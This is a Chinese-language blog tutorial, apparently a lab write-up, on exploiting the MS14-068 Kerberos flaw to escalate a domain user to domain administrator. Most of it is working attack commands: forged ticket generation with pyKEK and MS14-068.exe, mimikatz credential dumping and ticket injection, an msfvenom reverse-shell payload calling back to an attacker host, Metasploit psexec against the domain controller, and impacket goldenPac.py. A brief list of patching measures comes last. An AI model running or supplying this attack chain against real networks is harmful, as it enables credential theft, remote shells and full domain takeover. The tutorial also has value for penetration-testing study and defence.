内网安全之:MS14-068 Kerberos 域用户提权漏洞

0 漏洞说明 (MS14-068;CVE-2014-6324)

  • 官方说明Microsoft Security Bulletin MS14-068 - Critical | Microsoft Docs

  • 漏洞利用条件:受该漏洞影响的操作系统,包括Win2003、Wind2008、Win2008 R2、Win2012和 Win2012 R2。利用该漏洞如果攻击者获取了域内任何一台计算机的Shell 权限,同时知道任意域用户名、SID、密码。将允许攻击者将域内任意用户权限提升至域管理级别。

  • 漏洞产生原因:用户在向 Kerberos 密钥分发中心( KDC)申请 TGT (由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos 票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT 就使普通域用户拥有域管理员权限。该用户可以将 TGT 发送到 KDC,KDC的 TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源。

  • 详细原理解析:MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园 (cnblogs.com)

1 pyKEK 工具包

  • 项目地址:mubix/pykek: Kerberos Exploitation Kit (github.com)

  • pyKEK (Python Kerberos Expoitation Kit)是利用Kerberos协议进行渗透测试的工具包,使用PyKEK可以生生成一张高权原的服务票据,并通过mimikatz将服务票据注人内存。PyKEK 运行在Python 2.7环境。使用PyKEK,可以将Python文件转换为可执行文件。

    # ms14-068.py 脚本说明
    -u <userName>@<domainName>:域用户名@域名。
    -s <userSid>: 域用户SID。
    -d <domainControlerAddr>:域控制器地址。
    -p <clearPassword>: 明文密码。
    --rc4 <ntlmHash>:在没有明文密码的情况下,通过NTLM Hash登录。 # 查看域控制器是否安装针对 MS14-068 ( CVE-2014-6324 )漏洞提供的补丁为 KB3011780
    wmic qfe get hotfixid # 查看域用户 SID
    whoami /user
    # 查看域内所有用户 SID
    wmic useraccount get name,sid # 生成高权限票据
    python.exe ms14-068.py -u test02@test.lab -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21 -p Admin123 # 查看注入前是否有通过 IPC 可以访问域控制器的目录权限
    dir \\dc\c$ # 清除内存中的所有票据,并将高权限票据注入内存
    kerberos::purge
    kerberos::ptc "TGT_test02@test.lab.ccache" # 查看注入前是否有通过 IPC 可以访问域控制器的目录权限
    dir \\dc\c$

2 MSF 中 ms14_068 利用

# 利用 msf 生成高权限票据
auxiliary/admin/kerberos/ms14_068_kerberos_checksum # 由于msf 不支持 bin 文件写入,要使用 Mimikatz 对文件进行格式转换
kerberos::clist "20211208211852_default_10.1.1.21_windows.kerberos_341121.bin" /export # 生成一个反弹 shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.1.1.17 lport=4444 -a x64 -f exe > Desktop/evil17.exe # kali 中监听反弹 shell 链接
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp # 在反弹 shell 中导入票据
getuid
load kiwi
kerberos_ticket_use /home/kali/Desktop/0-00000000-test02@krbtgt-TEST.LAB.kirbi
background # 利用高权限票据提权
use exploit/windows/local/current_user_psexec
set technique PSH
set rhosts 10.1.1.21
set session 1
run
getuid

3 MS14-068.exe

  • 项目地址:SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)

  • 利用条件:

    1. 域控没有打MS14-068的补丁(KB3011780)
    2. 拿下一台加入域的计算机,并拥有此计算机的域用户密码和Sid
    # 获取 SID
    # 如果当前用户为域用户
    whoami /user
    test\test02 S-1-5-21-3884001349-2725517725-626265054-1108
    # 本地用户:管理员权限下用 mimikatz 抓取本地的域用户密码,域用户与SID
    mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" # 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
    MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
    MS14-068.exe -u test02@test.lab -p Admin123 -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21 # 利用mimikatz.exe将证书写入,从而提升为域管理员
    mimikatz.exe "kerberos::ptc TGT_test02@test.lab.ccache" # 写入成功后,使用PsExec.exe以管理员权限运行连接域控
    PsExec64.exe \\dc cmd.exe

4 goldenPac.py

goldenPac.py是一个用于对Kerberos进行测试的工具,它集成在impacket/examples下。

python goldenPac.py 域名/域成员用户:域成员用户密码@域控制器地址

# kali 下安装 Kerberos 客户端
apt-get install krb5-user -y # goldenPac.py 是通过 PsExec 获取域控制器的Shell,会产生大量日志,另外 PsExec 文件容易被杀软查杀,可行性不高。

5 Ticket 传递攻击特点

  1. Ticket 文件注入内存的默认有效时间为 10 小时
  2. 使用 dir 命令时,务必使用主机名,如果使用 IP 会报错
  3. 目标主机上,不需要管理员权限也可进行 Ticket 传递攻击

6 防范 Kerberos MS14-068 漏洞

  • 开启Windows Update功能,进行自动更新。
  • 手动下载补丁包进行修复。
  • 对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
  • 在服务器上安装反病毒软件,及时更新病毒库。

内网安全之:MS14-068 Kerberos 域用户提权漏洞的更多相关文章

  1. MS14-068域提权漏洞复现

    MS14-068域提权漏洞复现 一.漏洞说明 改漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限. 微软官方解释: https://docs.microsoft.com/zh-cn ...

  2. 内网技巧-通过SAM数据库获得本地用户hash的方法

    内网技巧-通过SAM数据库获得本地用户hash的方法 在windows上的C:\Windows\System32\config目录保存着当前用户的密码hash.我们可以使用相关手段获取该hash. 提 ...

  3. (转)MS14-068域内提权漏洞总结

    0x01 漏洞起源 说到ms14-068,不得不说silver ticket,也就是银票.银票是一张tgs,也就是一张服务票据.服务票据是客户端直接发送给服务器,并请求服务资源的.如果服务器没有向域控 ...

  4. CVE-2022-26923 Windows域提权漏洞

    前言 Active Directory 域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用户的数据信息进 ...

  5. 内网域渗透之MS14-068复现

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  6. hw从外网到内网的渗透姿势分享

    现在这段时间是全员 hw 时期,刚好前几天也有幸参与了某个地方的 hw 行动,作为攻击方,这里就简单总结一下最近挖洞的思路吧.因为可能怕涉及到敏感的东西,这里就有的地方不会细说了. 因为本人比较菜,所 ...

  7. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  8. 记录一次坎坷的linux内网渗透过程瞎折腾的坑

    版权声明:本文为博主的原创文章,未经博主同意不得转载. 写在前面 每个人都有自己的思路和技巧,以前遇到一些linux的环境.这次找来一个站点来进行内网,写下自己的想法 目标环境 1.linux  2. ...

  9. SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)

    0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1)        扫描内网(主 ...

  10. 内网渗透_linux_socks代理_reGeorg+proxychains

    过程演示 测试前提是目标服务器已经getshell. 1.将 reGeorgSocksProxy 中的 tunnel.jsp 文件放置到目标服务器web目录,查看能否正常访问(如图). 2.设置kal ...

随机推荐

  1. ArcObjects SDK开发 007 自定义App-Command-Tool框架

    1.为什么再设计一套App-Command-Tool框架 为什么我们要自己再设计一套App-Command框架,而不直接使用AO API中的AxControl-ICommand这套已经非常好的框架呢? ...

  2. Zabbix技术分享——使用Zabbix6.0监控业务日志

    企业日常IT运维过程中,常会碰到需要监控业务日志的情况,以下将介绍如何使用Zabbix6.0监控业务日志. 应用场景描述: 企业IT运维部门使用自建zabbix平台对公司某业务系统进行了监控.近段时间 ...

  3. pycharm 2021.2.1专业版破解

    1.网址:https://gitee.com/pengzhile/ide-eval-resetter 2.点击下载.下载后直接丢进pycharm中. 3.勾选.重启 .查看

  4. Docker的作用

    绝大部分应用,开发者都可以通过docker build创建镜像,通过docker push上传镜像,用户通过docker pull下载镜像,用docker run运行应用. 用户不需要再去关心如何搭建 ...

  5. python函数及算法

    算法二分法 二分算法图 什么是算法? ​ 算法是高效解决问题的办法. 需求:有一个按照从小到大顺序排列的数字列表,查找某一个数字 # 定义一个无序的列表 nums = [3,4,5,67,8,9,12 ...

  6. 基于SqlSugar的开发框架循序渐进介绍(24)-- 使用Serialize.Linq对Lambda表达式进行序列化和反序列化

    在上篇随笔<基于SqlSugar的开发框架循序渐进介绍(23)-- Winform端管理系统中平滑增加对Web API对接的需求>中介绍了基于一个接口,实现对两种不同接入方式(直接访问数据 ...

  7. WireShark抓包入门教学

    wireshark抓包新手使用教程 Wireshark是非常流行的网络封包分析软件,可以截取各种网络数据包,并显示数据包详细信息.常用于开发测试过程各种问题定位.本文主要内容包括: 1.Wiresha ...

  8. [OpenCV实战]50 用OpenCV制作低成本立体相机

    本文主要讲述利用OpenCV制作低成本立体相机以及如何使用OpenCV创建3D视频,准确来说是模仿双目立体相机,我们通常说立体相机一般是指双目立体相机,就是带两个摄像头的那种(目就是指眼睛,双目就是两 ...

  9. Vue 中 Promise 的then方法异步使用及async/await 异步使用总结

    转载请注明出处: 1.Promise 的 then 方法使用 then 方法是 Promise 中 处理的是异步调用,异步调用是非阻塞式的,在调用的时候并不知道它什么时候结束,也就不会等到他返回一个有 ...

  10. 前端 - JaveScrip

    今日内容 JS简介 全程JaveScript但是与Jave没有关系 知识为了蹭Jave热度 它是一门前端工程师的编程语言 但是它本身有很多逻辑错误 IT行业鄙视链:前端.运维.测试.产品 前端想一统天 ...